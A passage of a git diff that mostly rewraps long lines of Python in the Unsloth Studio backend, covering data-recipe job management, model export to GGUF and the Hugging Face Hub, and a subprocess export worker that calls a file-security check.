+363,9 @@ def start(port: int = 8888, *, cloudflare: bool = False): server_ready = False for _ in range(40): try: - with urllib.request.urlopen(f"http://localhost:{actual_port}/api/health", timeout = 1): + with urllib.request.urlopen( + f"http://localhost:{actual_port}/api/health", timeout = 1 + ): server_ready = True break except Exception: diff --git a/studio/backend/core/data_recipe/huggingface.py b/studio/backend/core/data_recipe/huggingface.py index 7a1219b2c3..0f17f8dc7c 100644 --- a/studio/backend/core/data_recipe/huggingface.py +++ b/studio/backend/core/data_recipe/huggingface.py @@ -36,7 +36,9 @@ def _resolve_recipe_artifact_path(artifact_path: str) -> Path: if not resolved.exists(): raise RecipeDatasetPublishError("Execution artifacts are no longer available.") if not resolved.is_dir(): - raise RecipeDatasetPublishError("Execution artifact path is not a dataset folder.") + raise RecipeDatasetPublishError( + "Execution artifact path is not a dataset folder." + ) return resolved diff --git a/studio/backend/core/data_recipe/jobs/manager.py b/studio/backend/core/data_recipe/jobs/manager.py index 0e0044702e..d7cdfcbda6 100644 --- a/studio/backend/core/data_recipe/jobs/manager.py +++ b/studio/backend/core/data_recipe/jobs/manager.py @@ -111,7 +111,9 @@ class Subscription: event_id = self._next_id body = json.dumps(event, separators = (",", ":"), ensure_ascii = False) event_type = event.get("type") or "message" - return (f"id: {event_id}\n" f"event: {event_type}\n" f"data: {body}\n\n").encode("utf-8") + return ( + f"id: {event_id}\n" f"event: {event_type}\n" f"data: {body}\n\n" + ).encode("utf-8") class JobManager: @@ -158,7 +160,9 @@ class JobManager: job_id = uuid.uuid4().hex self._job = Job(job_id = job_id, status = "pending", started_at = time.time()) self._job.progress_columns_total = llm_column_count - self._job.source_progress_estimated_total = _github_source_estimated_total(recipe) + self._job.source_progress_estimated_total = _github_source_estimated_total( + recipe + ) self._job.internal_api_key_id = internal_api_key_id self._events.clear() self._seq = 0 @@ -188,7 +192,9 @@ class JobManager: self._pump_thread = threading.Thread(target = self._pump_loop, daemon = True) self._pump_thread.start() - self._emit({"type": EVENT_JOB_ENQUEUED, "ts": time.time(), "job_id": job_id}) + self._emit( + {"type": EVENT_JOB_ENQUEUED, "ts": time.time(), "job_id": job_id} + ) return job_id def cancel(self, job_id: str) -> bool: @@ -199,7 +205,9 @@ class JobManager: if self._proc is None or not self._proc.is_alive(): return True self._job.status = "cancelling" - self._emit({"type": EVENT_JOB_CANCELLING, "ts": time.time(), "job_id": job_id}) + self._emit( + {"type": EVENT_JOB_CANCELLING, "ts": time.time(), "job_id": job_id} + ) try: self._proc.terminate() except (AttributeError, OSError): @@ -316,12 +324,16 @@ class JobManager: if not parquet_dir.exists(): return {"error": f"dataset path missing: {parquet_dir}"} - return self._load_dataset_page(parquet_dir = parquet_dir, limit = limit, offset = offset) + return self._load_dataset_page( + parquet_dir = parquet_dir, limit = limit, offset = offset + ) except Exception as exc: return {"error": f"dataset load failed: {exc}"} @staticmethod - def _load_dataset_page(*, parquet_dir: Path, limit: int, offset: int) -> dict[str, Any]: + def _load_dataset_page( + *, parquet_dir: Path, limit: int, offset: int + ) -> dict[str, Any]: dataset_page = JobManager._load_dataset_page_with_duckdb( parquet_dir = parquet_dir, limit = limit, @@ -460,8 +472,12 @@ class JobManager: try: self._handle_event(job, event) except Exception: - etype = event.get("type") if isinstance(event, dict) else type(event).__name__ - logger.exception("Data-recipe job pump: failed to handle %s event; skipping", etype) + etype = ( + event.get("type") if isinstance(event, dict) else type(event).__name__ + ) + logger.exception( + "Data-recipe job pump: failed to handle %s event; skipping", etype + ) def _pump_loop(self) -> None: """Background thread: consume worker events and update the job snapshot. @@ -527,7 +543,9 @@ class JobManager: if retired_job is not None: self._retire_workflow_key(retired_job) except Exception: - logger.exception("Data-recipe job pump: finalization after worker exit failed") + logger.exception( + "Data-recipe job pump: finalization after worker exit failed" + ) return def _handle_event(self, job: Job, event: dict) -> None: diff --git a/studio/backend/core/data_recipe/jobs/parse.py b/studio/backend/core/data_recipe/jobs/parse.py index 8c2e8a4d55..1e4b5816cb 100644 --- a/studio/backend/core/data_recipe/jobs/parse.py +++ b/studio/backend/core/data_recipe/jobs/parse.py @@ -119,7 +119,8 @@ def parse_log_message(msg: str) -> ParsedUpdate | None: page_items = page_items, rate_remaining = int(m.group("remaining")), message = ( - f"Scraping GitHub source: {repo} " f"{resource} page {page} (+{page_items})" + f"Scraping GitHub source: {repo} " + f"{resource} page {page} (+{page_items})" ), ), ) @@ -133,7 +134,9 @@ def parse_log_message(msg: str) -> ParsedUpdate | None: source = "github", status = "rate_limited", retry_after_sec = seconds, - message = ("Waiting for GitHub rate limit. Unsloth will resume automatically."), + message = ( + "Waiting for GitHub rate limit. Unsloth will resume automatically." + ), ), ) @@ -161,7 +164,9 @@ def parse_log_message(msg: str) -> ParsedUpdate | None: source = "github", status = "rate_limited", retry_after_sec = seconds, - message = ("Waiting for GitHub rate limit. Unsloth will resume automatically."), + message = ( + "Waiting for GitHub rate limit. Unsloth will resume automatically." + ), ), ) @@ -379,13 +384,15 @@ def _apply_source_progress(job: Job, progress: SourceProgress) -> None: count_key = f"{progress.repo}:{progress.resource}" if page_key not in job._source_seen_pages: job._source_seen_pages.add(page_key) - job._source_counts[count_key] = int(job._source_counts.get(count_key, 0)) + int( - page_items or 0 - ) + job._source_counts[count_key] = int( + job._source_counts.get(count_key, 0) + ) + int(page_items or 0) fetched_items = sum(job._source_counts.values()) if fetched_items <= 0: - fetched_items = progress.fetched_items or (previous.fetched_items if previous else None) + fetched_items = progress.fetched_items or ( + previous.fetched_items if previous else None + ) estimated_total = ( progress.estimated_total @@ -405,10 +412,14 @@ def _apply_source_progress(job: Job, progress: SourceProgress) -> None: repo = progress.repo or (previous.repo if previous else None), resource = progress.resource or (previous.resource if previous else None), page = ( - progress.page if progress.page is not None else (previous.page if previous else None) + progress.page + if progress.page is not None + else (previous.page if previous else None) ), page_items = ( - page_items if page_items is not None else (previous.page_items if previous else None) + page_items + if page_items is not None + else (previous.page_items if previous else None) ), fetched_items = fetched_items, estimated_total = estimated_total, @@ -439,7 +450,9 @@ def _compute_overall_progress(job: Job, column_progress: Progress) -> Progress: if len(job._column_done) == 0: done = current_done else: - sum_done = sum(max(0, min(value, total_rows)) for value in job._column_done.values()) + sum_done = sum( + max(0, min(value, total_rows)) for value in job._column_done.values() + ) done = int(sum_done / total_columns) prev_done = int(job.progress.done or 0) diff --git a/studio/backend/core/data_recipe/jobs/worker.py b/studio/backend/core/data_recipe/jobs/worker.py index 4073288cb3..e76353e4a7 100644 --- a/studio/backend/core/data_recipe/jobs/worker.py +++ b/studio/backend/core/data_recipe/jobs/worker.py @@ -60,7 +60,9 @@ def _slugify_run_name(value: str) -> str: return slug[:80].strip("-") -def _build_dataset_name(*, run_name: str | None, job_id: str, artifact_root: Path) -> str: +def _build_dataset_name( + *, run_name: str | None, job_id: str, artifact_root: Path +) -> str: fallback = f"recipe_{job_id}" slug = _slugify_run_name(run_name or "") base_name = f"recipe_{slug}" if slug else fallback @@ -72,7 +74,9 @@ def _build_dataset_name(*, run_name: str | None, job_id: str, artifact_root: Pat return candidate -def run_job_process(*, event_queue, recipe: dict[str, Any], run: dict[str, Any]) -> None: +def run_job_process( + *, event_queue, recipe: dict[str, Any], run: dict[str, Any] +) -> None: """Subprocess entrypoint. Sends events to `event_queue`.""" import os @@ -160,10 +164,14 @@ def run_job_process(*, event_queue, recipe: dict[str, Any], run: dict[str, Any]) } ) else: - results = designer.create(builder, num_records = rows, dataset_name = dataset_name) + results = designer.create( + builder, num_records = rows, dataset_name = dataset_name + ) analysis = to_jsonable(results.load_analysis().model_dump(mode = "json")) if merge_batches: - _merge_batches_to_single_parquet(results.artifact_storage.base_dataset_path) + _merge_batches_to_single_parquet( + results.artifact_storage.base_dataset_path + ) artifact_path = str(results.artifact_storage.base_dataset_path) event_queue.put( { diff --git a/studio/backend/core/data_recipe/local_callable_validators.py b/studio/backend/core/data_recipe/local_callable_validators.py index ffc81669ae..2715836b6e 100644 --- a/studio/backend/core/data_recipe/local_callable_validators.py +++ b/studio/backend/core/data_recipe/local_callable_validators.py @@ -134,7 +134,11 @@ def _parse_oxc_spec(*, column: dict[str, Any]) -> OxcLocalCallableValidatorSpec target_columns_raw = column.get("target_columns") target_columns = ( - [value.strip() for value in target_columns_raw if isinstance(value, str) and value.strip()] + [ + value.strip() + for value in target_columns_raw + if isinstance(value, str) and value.strip() + ] if isinstance(target_columns_raw, list) else [] ) @@ -174,7 +178,9 @@ def _parse_oxc_validation_marker(fn_name: str) -> tuple[str, str, str]: return "javascript", "syntax", "auto" code_lang = parts[0] if parts[0] in _OXC_LANG_TO_NODE_LANG else "javascript" mode = parts[1] if parts[1] in _OXC_VALIDATION_MODES else "syntax" - code_shape = parts[2] if len(parts) >= 3 and parts[2] in _OXC_CODE_SHAPES else "auto" + code_shape = ( + parts[2] if len(parts) >= 3 and parts[2] in _OXC_CODE_SHAPES else "auto" + ) return code_lang, mode, code_shape @@ -195,7 +201,10 @@ def _build_oxc_validation_function(lang: str, validation_mode: str, code_shape: code_values = ( ["" for _ in range(row_count)] if not code_column - else ["" if value is None else str(value) for value in df[code_column].tolist()] + else [ + "" if value is None else str(value) + for value in df[code_column].tolist() + ] ) results = _run_oxc_batch( @@ -211,9 +220,7 @@ def _build_oxc_validation_function(lang: str, validation_mode: str, code_shape: ) return pd.DataFrame(results) - _validator.__name__ = ( - f"{OXC_VALIDATION_FN_MARKER}_{node_lang}_{mode.replace('+', '_')}_{normalized_code_shape}" - ) + _validator.__name__ = f"{OXC_VALIDATION_FN_MARKER}_{node_lang}_{mode.replace('+', '_')}_{normalized_code_shape}" return _validator @@ -306,13 +313,21 @@ def _run_oxc_batch( warning_count_raw = item.get("warning_count") out.append( { - "is_valid": bool(is_valid_raw) if isinstance(is_valid_raw, bool) else False, - "error_count": int(error_count_raw) if isinstance(error_count_raw, int) else 0, + "is_valid": bool(is_valid_raw) + if isinstance(is_valid_raw, bool) + else False, + "error_count": int(error_count_raw) + if isinstance(error_count_raw, int) + else 0, "error_message": str(message_raw or ""), - "severity": str(severity_raw) if isinstance(severity_raw, str) else None, + "severity": str(severity_raw) + if isinstance(severity_raw, str) + else None, "code": str(code_raw) if isinstance(code_raw, str) else None, "labels": labels_raw if isinstance(labels_raw, list) else [], - "codeframe": str(codeframe_raw) if isinstance(codeframe_raw, str) else None, + "codeframe": str(codeframe_raw) + if isinstance(codeframe_raw, str) + else None, "warning_count": int(warning_count_raw) if isinstance(warning_count_raw, int) else 0, diff --git a/studio/backend/core/data_recipe/service.py b/studio/backend/core/data_recipe/service.py index 9770e88b7f..18b88cfd8a 100644 --- a/studio/backend/core/data_recipe/service.py +++ b/studio/backend/core/data_recipe/service.py @@ -24,7 +24,9 @@ def _encode_bytes_to_base64(value: bytes | bytearray) -> str: return base64.b64encode(bytes(value)).decode("utf-8") -def _load_image_file_to_base64(path_value: str, *, base_path: str | None = None) -> str | None: +def _load_image_file_to_base64( + path_value: str, *, base_path: str | None = None +) -> str | None: try: path = Path(path_value) candidates: list[Path] = [] @@ -119,7 +121,9 @@ def _apply_data_designer_image_context_patch() -> None: original_auto_resolve = ImageContext._auto_resolve_context_value - def _patched_auto_resolve(self: Any, context_value: Any, base_path: str | None) -> Any: + def _patched_auto_resolve( + self: Any, context_value: Any, base_path: str | None + ) -> Any: normalized = _normalize_image_context_value(context_value, base_path = base_path) return original_auto_resolve(self, normalized, base_path) @@ -161,7 +165,9 @@ def _recipe_has_llm_columns(recipe: dict[str, Any]) -> bool: return False -def _validate_recipe_runtime_support(recipe: dict[str, Any], model_providers: list[Any]) -> None: +def _validate_recipe_runtime_support( + recipe: dict[str, Any], model_providers: list[Any] +) -> None: if _recipe_has_llm_columns(recipe) and not model_providers: raise ValueError("Add a Provider connection block before running this recipe.") @@ -251,7 +257,9 @@ def build_config_builder(recipe: dict[str, Any]): if key not in {"model_providers", "mcp_providers"} } recipe_core = _strip_frontend_model_config_metadata(recipe_core) - recipe_core, oxc_local_callable_specs = split_oxc_local_callable_validators(recipe_core) + recipe_core, oxc_local_callable_specs = split_oxc_local_callable_validators( + recipe_core + ) builder = DataDesignerConfigBuilder.from_config({"data_designer": recipe_core}) register_oxc_local_callable_validators( builder = builder, @@ -327,10 +335,14 @@ def preview_recipe( dataset = [to_jsonable(row) for row in raw_rows] artifacts = ( - None if results.processor_artifacts is None else to_jsonable(results.processor_artifacts) + None + if results.processor_artifacts is None + else to_jsonable(results.processor_artifacts) ) analysis = ( - None if results.analysis is None else to_jsonable(results.analysis.model_dump(mode = "json")) + None + if results.analysis is None + else to_jsonable(results.analysis.model_dump(mode = "json")) ) return dataset, artifacts, analysis diff --git a/studio/backend/core/export/export.py b/studio/backend/core/export/export.py index c8be50b08b..3078f33565 100644 --- a/studio/backend/core/export/export.py +++ b/studio/backend/core/export/export.py @@ -19,7 +19,9 @@ from typing import Optional, Tuple, List try: from unsloth import FastLanguageModel, FastVisionModel, _IS_MLX _UNSLOTH_IMPORT_ERROR = None -except Exception as _unsloth_exc: # ImportError (e.g. missing torch) or a broken native load +except ( + Exception +) as _unsloth_exc: # ImportError (e.g. missing torch) or a broken native load FastLanguageModel = None FastVisionModel = None _IS_MLX = False @@ -89,7 +91,9 @@ def _supports_kwarg(fn, name): params = inspect.signature(fn).parameters except (TypeError, ValueError): return False - return name in params or any(p.kind == inspect.Parameter.VAR_KEYWORD for p in params.values()) + return name in params or any( + p.kind == inspect.Parameter.VAR_KEYWORD for p in params.values() + ) def _compressed_export_supported(): @@ -118,7 +122,10 @@ def _has_nvidia_gpu(): except Exception: try: import torch - return bool(torch.cuda.is_available()) and getattr(torch.version, "hip", None) is None + return ( + bool(torch.cuda.is_available()) + and getattr(torch.version, "hip", None) is None + ) except Exception: return False @@ -134,14 +141,21 @@ def _hf_offline(timeout = 3): or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _offline ): return True - if os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() in {"0", "false", "no", "off"}: + if os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() in { + "0", + "false", + "no", + "off", + }: return False # probe disabled -> assume online; loads still pass local_files_only on env # Shared bounded, proxy-aware probe (also used by the export worker before version activation). from utils.transformers_version import hf_endpoint_unreachable if hf_endpoint_unreachable(timeout): - logger.warning("Hugging Face endpoint unreachable; loading checkpoint in offline mode") + logger.warning( + "Hugging Face endpoint unreachable; loading checkpoint in offline mode" + ) return True return False @@ -183,7 +197,9 @@ def _apply_wsl_sudo_patch(): import unsloth_zoo.llama_cpp as llama_cpp_module def _wsl_do_we_need_sudo(system_type = "debian"): - logger.info("WSL detected — skipping sudo check (build deps pre-installed by setup.sh)") + logger.info( + "WSL detected — skipping sudo check (build deps pre-installed by setup.sh)" + ) return False llama_cpp_module.do_we_need_sudo = _wsl_do_we_need_sudo @@ -542,7 +558,9 @@ class ExportBackend: # through it when available; else fall back to the workspace 0.10.x path below. _shadow_pp = None try: - from utils.transformers_version import llmcompressor_shadow_pythonpath + from utils.transformers_version import ( + llmcompressor_shadow_pythonpath, + ) _shadow_pp = llmcompressor_shadow_pythonpath() except Exception as e: logger.warning(f"llm-compressor-main shadow unavailable: {e}") @@ -552,7 +570,9 @@ class ExportBackend: # No shadow (disabled/offline/failed): the workspace 0.10.x cannot exceed its # transformers ceiling, so fail fast for sidecar models; default-tier still works. os.environ.pop(_us._COMPRESSED_QUANTIZE_PYTHONPATH_ENV, None) - _exceeds, _tf_ver = _us._transformers_exceeds_llm_compressor_ceiling() + _exceeds, _tf_ver = ( + _us._transformers_exceeds_llm_compressor_ceiling() + ) if _exceeds: return ( False, @@ -567,7 +587,11 @@ class ExportBackend: try: info = _us._normalize_compressed_method(compressed_alias) except Exception as e: - return False, f"Unsupported compressed export '{compressed_alias}': {e}", None + return ( + False, + f"Unsupported compressed export '{compressed_alias}': {e}", + None, + ) if info is None: return ( False, @@ -577,7 +601,9 @@ class ExportBackend: compressed_suffix = info[2] if _IS_MLX: - mlx_save_method = "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit" + mlx_save_method = ( + "merged_4bit" if format_type == "4-bit (FP4)" else "merged_16bit" + ) elif is_compressed or is_torchao: save_method = compressed_alias elif format_type == "4-bit (FP4)": @@ -646,7 +672,11 @@ class ExportBackend: token = hf_token, private = private, ) - elif (is_compressed or is_torchao) and output_path and Path(output_path).is_dir(): + elif ( + (is_compressed or is_torchao) + and output_path + and Path(output_path).is_dir() + ): # Already built in output_path; upload it directly instead of re-running the # expensive quantization that push_to_hub_merged(save_method=...) would redo. hf_api = HfApi(token = hf_token) @@ -658,8 +688,12 @@ class ExportBackend: ) content = MODEL_CARD.format( username = repo_id.split("/")[0], - base_model = getattr(self.current_model.config, "_name_or_path", "unknown"), - model_type = getattr(self.current_model.config, "model_type", "llm"), + base_model = getattr( + self.current_model.config, "_name_or_path", "unknown" + ), + model_type = getattr( + self.current_model.config, "model_type", "llm" + ), method = compressed_alias or format_type, extra = "unsloth", ) @@ -672,7 +706,9 @@ class ExportBackend: repo_type = "model", ) else: - hub_save_method = save_method if save_method is not None else "merged_16bit" + hub_save_method = ( + save_method if save_method is not None else "merged_16bit" + ) self.current_model.push_to_hub_merged( repo_id, self.current_tokenizer, @@ -778,7 +814,9 @@ class ExportBackend: else: # Base model name from request or model config base_model = ( - base_model_id or self.current_model.config._name_or_path or "unknown" + base_model_id + or self.current_model.config._name_or_path + or "unknown" ) hf_api = HfApi(token = hf_token) @@ -798,7 +836,9 @@ class ExportBackend: extra = "unsloth", ) card = ModelCard(content) - card.push_to_hub(repo_id, token = hf_token, commit_message = "Unsloth Model Card") + card.push_to_hub( + repo_id, token = hf_token, commit_message = "Unsloth Model Card" + ) if save_directory: hf_api.upload_folder( @@ -870,7 +910,9 @@ class ExportBackend: try: # Normalize to a lowercased list so multiple quants come from one model load. if isinstance(quantization_method, (list, tuple)): - quant_methods = [str(q).lower() for q in quantization_method if str(q).strip()] + quant_methods = [ + str(q).lower() for q in quantization_method if str(q).strip() + ] else: quant_methods = [str(quantization_method).lower()] if not quant_methods: @@ -885,7 +927,9 @@ class ExportBackend: LLAMA_CPP_DEFAULT_DIR, _resolve_local_convert_script, # noqa: F401 ) - os.environ.setdefault("UNSLOTH_LLAMA_CPP_SCRIPTS_DIR", LLAMA_CPP_DEFAULT_DIR) + os.environ.setdefault( + "UNSLOTH_LLAMA_CPP_SCRIPTS_DIR", LLAMA_CPP_DEFAULT_DIR + ) except ImportError: if not _LLAMA_CPP_SCRIPTS_WARNING_EMITTED: logger.warning( @@ -913,12 +957,16 @@ class ExportBackend: cwd = os.getcwd() pre_existing_ggufs = set(glob.glob(os.path.join(cwd, "*.gguf"))) - pre_existing_subs = {d.name for d in Path(abs_save_dir).iterdir() if d.is_dir()} + pre_existing_subs = { + d.name for d in Path(abs_save_dir).iterdir() if d.is_dir() + } # Avoid clobbering an existing user-owned model/ directory. import uuid - _model_tmp = os.path.join(abs_save_dir, f"_tmp_model_{uuid.uuid4().hex[:8]}") + _model_tmp = os.path.join( + abs_save_dir, f"_tmp_model_{uuid.uuid4().hex[:8]}" + ) model_tmp_to_cleanup = _model_tmp self.current_model.save_pretrained_gguf( _model_tmp, @@ -928,11 +976,15 @@ class ExportBackend: ) # Relocate the .gguf that convert_to_gguf wrote to cwd (repo root). - new_ggufs = set(glob.glob(os.path.join(cwd, "*.gguf"))) - pre_existing_ggufs + new_ggufs = ( + set(glob.glob(os.path.join(cwd, "*.gguf"))) - pre_existing_ggufs + ) for src in sorted(new_ggufs): dest = os.path.join(abs_save_dir, os.path.basename(src)) shutil.move(src, dest) - logger.info(f"Relocated GGUF: {os.path.basename(src)} → {abs_save_dir}/") + logger.info( + f"Relocated GGUF: {os.path.basename(src)} → {abs_save_dir}/" + ) # Flatten GGUF files from subdirs created during this export. for sub in list(Path(abs_save_dir).iterdir()): @@ -952,7 +1004,10 @@ class ExportBackend: if self.current_checkpoint: ckpt = Path(self.current_checkpoint) gguf_dir = ckpt.parent / f"{ckpt.name}_gguf" - if gguf_dir.is_dir() and gguf_dir.resolve() != Path(abs_save_dir).resolve(): + if ( + gguf_dir.is_dir() + and gguf_dir.resolve() != Path(abs_save_dir).resolve() + ): for src in gguf_dir.glob("*.gguf"): dest = os.path.join(abs_save_dir, src.name) shutil.move(str(src), dest) @@ -960,7 +1015,9 @@ class ExportBackend: # Also relocate Ollama Modelfile if present modelfile = gguf_dir / "Modelfile" if modelfile.is_file(): - shutil.move(str(modelfile), os.path.join(abs_save_dir, "Modelfile")) + shutil.move( + str(modelfile), os.path.join(abs_save_dir, "Modelfile") + ) logger.info(f"Relocated Modelfile → {abs_save_dir}/") shutil.rmtree(str(gguf_dir), ignore_errors = True) logger.info(f"Cleaned up intermediate GGUF dir: {gguf_dir}") @@ -1059,7 +1116,9 @@ class ExportBackend: # getattr so an older build without save_pretrained_gguf returns a clean message # instead of an AttributeError (a generic 500). _save_gguf_fn = getattr(self.current_model, "save_pretrained_gguf", None) - if _save_gguf_fn is None or not _supports_kwarg(_save_gguf_fn, "save_method"): + if _save_gguf_fn is None or not _supports_kwarg( + _save_gguf_fn, "save_method" + ): return ( False, "This Unsloth build does not support GGUF LoRA adapter export. " @@ -1085,11 +1144,14 @@ class ExportBackend: # Forward the token so convert_lora_to_gguf.py can fetch a gated base's config. token = hf_token or None, ) - final_ggufs = sorted(glob.glob(os.path.join(save_directory, "*.gguf"))) + final_ggufs = sorted( + glob.glob(os.path.join(save_directory, "*.gguf")) + ) logger.info( "LoRA GGUF export complete. Files in %s:\n %s", save_directory, - "\n ".join(os.path.basename(f) for f in final_ggufs) or "(none)", + "\n ".join(os.path.basename(f) for f in final_ggufs) + or "(none)", ) elif _IS_MLX: # MLX: save adapters.safetensors + tokenizer files @@ -1140,8 +1202,12 @@ class ExportBackend: repo_type = "model", ) else: - self.current_model.push_to_hub(repo_id, token = hf_token, private = private) - self.current_tokenizer.push_to_hub(repo_id, token = hf_token, private = private) + self.current_model.push_to_hub( + repo_id, token = hf_token, private = private + ) + self.current_tokenizer.push_to_hub( + repo_id, token = hf_token, private = private + ) logger.info(f"Adapter pushed successfully to {repo_id}") return True, "LoRA adapter exported successfully", output_path diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py index 6d1a928f2e..f547c0ed56 100644 --- a/studio/backend/core/export/orchestrator.py +++ b/studio/backend/core/export/orchestrator.py @@ -141,7 +141,9 @@ class ExportOrchestrator: """True if the in-flight (or most recent) run was cancelled by the user.""" return self._cancel_requested - def _record_op_finished(self, success: bool, message: str, output_path: Optional[str]) -> None: + def _record_op_finished( + self, success: bool, message: str, output_path: Optional[str] + ) -> None: """Snapshot the just-finished op so status pollers can recover its outcome. Called from each op's ``finally`` (with ``_active_op_kind`` still set) BEFORE @@ -150,7 +152,11 @@ class ExportOrchestrator: """ with self._op_lock: self._op_seq += 1 - status = "cancelled" if self._cancel_requested else ("success" if success else "error") + status = ( + "cancelled" + if self._cancel_requested + else ("success" if success else "error") + ) self._last_op = { "seq": self._op_seq, "kind": self._active_op_kind, @@ -220,7 +226,9 @@ class ExportOrchestrator: # Inside an active op an INSTALL reservation is about to abort on the # is_export_active check, but a lazy REPAIR has no such check and can be # rebuilding the sidecar right now, so it must always refuse the spawn. - if _swap_kind == "repair" or (_swap_kind is not None and not self._export_active): + if _swap_kind == "repair" or ( + _swap_kind is not None and not self._export_active + ): from utils.transformers_version import SidecarSwapInProgress raise SidecarSwapInProgress( "A transformers installation is replacing the latest sidecar; " @@ -397,7 +405,9 @@ class ExportOrchestrator: expected_type, ) - raise RuntimeError(f"Timeout waiting for '{expected_type}' response after {timeout}s") + raise RuntimeError( + f"Timeout waiting for '{expected_type}' response after {timeout}s" + ) def _drain_queue(self) -> list: """Drain all pending responses.""" @@ -475,7 +485,9 @@ class ExportOrchestrator: elif self._proc is not None: self._shutdown_subprocess(timeout = 2) - logger.info("Spawning fresh export subprocess for '%s'", checkpoint_path) + logger.info( + "Spawning fresh export subprocess for '%s'", checkpoint_path + ) try: self._spawn_subprocess(sub_config) except Exception: @@ -502,7 +514,10 @@ class ExportOrchestrator: self.is_vision = resp.get("is_vision", False) self.is_peft = resp.get("is_peft", False) logger.info("Checkpoint '%s' loaded in subprocess", checkpoint_path) - op_success, op_message = True, resp.get("message", "Loaded successfully") + op_success, op_message = ( + True, + resp.get("message", "Loaded successfully"), + ) return True, op_message else: error = resp.get("message", "Failed to load checkpoint") @@ -609,7 +624,9 @@ class ExportOrchestrator: }, ) - def _run_export(self, export_type: str, params: dict) -> Tuple[bool, str, Optional[str]]: + def _run_export( + self, export_type: str, params: dict + ) -> Tuple[bool, str, Optional[str]]: """Send an export command and wait for the result. Returns ``(success, message, output_path)``. ``output_path`` is the on-disk @@ -696,7 +713,9 @@ class ExportOrchestrator: self._active_op_kind = None self._export_active = False - def scan_checkpoints(self, outputs_dir: str = str(outputs_root())) -> List[Tuple[str, list]]: + def scan_checkpoints( + self, outputs_dir: str = str(outputs_root()) + ) -> List[Tuple[str, list]]: """Scan for checkpoints — runs locally, no ML imports.""" from utils.models.checkpoints import scan_checkpoints return scan_checkpoints(outputs_dir = outputs_dir) diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py index 9ecfa73eee..20e4c82e64 100644 --- a/studio/backend/core/export/worker.py +++ b/studio/backend/core/export/worker.py @@ -160,7 +160,9 @@ def _setup_log_capture(resp_queue: Any) -> None: t_err.start() -def _activate_transformers_version(model_name: str, hf_token: str | None = None) -> None: +def _activate_transformers_version( + model_name: str, hf_token: str | None = None +) -> None: """Activate the correct transformers version BEFORE any ML imports.""" # Ensure backend is on sys.path for utils imports. backend_path = str(Path(__file__).resolve().parent.parent.parent) @@ -187,7 +189,9 @@ def _offline_window_if_unreachable(step = "loading"): force_ctx = None try: from utils.transformers_version import _env_offline, hf_endpoint_unreachable - probe_enabled = os.environ.get("UNSLOTH_OFFLINE_PROBE", "1").strip().lower() not in ( + probe_enabled = os.environ.get( + "UNSLOTH_OFFLINE_PROBE", "1" + ).strip().lower() not in ( "0", "false", "no", @@ -279,7 +283,9 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: from utils.models.model_config import get_base_model_from_lora_identifier # Resolve a LOCAL or REMOTE adapter's base so a remote LoRA base is gated too. - _base = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token")) + _base = get_base_model_from_lora_identifier( + checkpoint_path, cmd.get("hf_token") + ) if _base: malware_targets.append(_base) except Exception as exc: @@ -287,7 +293,9 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: _hf_token = cmd.get("hf_token") for target in dict.fromkeys(malware_targets): _fs = evaluate_file_security( - target, hf_token = _hf_token, load_subdirs = security_load_subdirs(target, _hf_token) + target, + hf_token = _hf_token, + load_subdirs = security_load_subdirs(target, _hf_token), ) if _fs.blocked: _send_response( @@ -313,7 +321,9 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None: from utils.models.model_config import get_base_model_from_lora_identifier # Resolve a local or remote adapter's base so its base repo is gated too. - base_model = get_base_model_from_lora_identifier(checkpoint_path, cmd.get("hf_token")) + base_model = get_base_model_from_lora_identifier( + checkpoint_path, cmd.get("hf_token") + ) if base_model: consent_targets.append(base_model) except Exception as exc: @@ -541,7 +551,9 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None # ── 1. Activate correct transformers version BEFORE any ML imports ── with _offline_window_if_unreachable(step = "activating transformers"): try: - _activate_transformers_version(checkpoint_path, config.get("hf_token") or None) + _activate_transformers_version( + checkpoint_path, config.get("hf_token") or None + ) except Exception as exc: _send_response( resp_queue, @@ -597,7 +609,9 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None import transformers - logger.info("Export subprocess loaded transformers %s", transformers.__version__) + logger.info( + "Export subprocess loaded transformers %s", transformers.__version__ + ) except Exception as exc: _send_response( @@ -703,7 +717,9 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None ) except Exception as exc: - logger.error("Error handling command '%s': %s", cmd_type, exc, exc_info = True) + logger.error( + "Error handling command '%s': %s", cmd_type, exc, exc_info = True + ) _send_response( resp_queue, { diff --git a/studio/backend/core/import_guards.py b/studio/backend/core/import_guards.py index 5b85a96cd2..9fed13d862 100644 --- a/studio/backend/core/import_guards.py +++ b/studio/backend/core/import_guards.py @@ -42,7 +42,9 @@ def ensure_real_packages(*names: str) -> None: saved = list(sys.path) sys.path[:] = [e for e in sys.path if e not in bad] for name in shadowed: - for cached in [m for m in list(sys.modules) if m == name or m.startswith(name + ".")]: + for cached in [ + m for m in list(sys.modules) if m == name or m.startswith(name + ".") + ]: del sys.modules[cached] try: importlib.invalidate_caches() diff --git a/studio/backend/core/inference/_html_to_md.py b/studio/backend/core/inference/_html_to_md.py index 92471b9866..19ea1c365f 100644 --- a/studio/backend/core/inference/_html_to_md.py +++ b/studio/backend/core/inference/_html_to_md.py @@ -366,7 +366,11 @@ class _MarkdownRenderer(HTMLParser): while self._hidden_marks and self._hidden_marks[-1] >= i: self._hidden_marks.pop() break - if self._scope_tags is not None and tag in self._scope_tags and self._scope_depth > 0: + if ( + self._scope_tags is not None + and tag in self._scope_tags + and self._scope_depth > 0 + ): self._scope_depth -= 1 if self._scope_depth == 0 and self._scope_seg_start is not None: self.scope_segments.append("".join(self._out[self._scope_seg_start :])) @@ -690,9 +694,13 @@ def _line_is_boilerplate(line: str) -> bool: normalized = re.sub(r"\s+", " ", line).strip().casefold() if not normalized: return False - segments = [segment.strip().rstrip(".!:") for segment in re.split(r"[.!]", normalized)] + segments = [ + segment.strip().rstrip(".!:") for segment in re.split(r"[.!]", normalized) + ] segments = 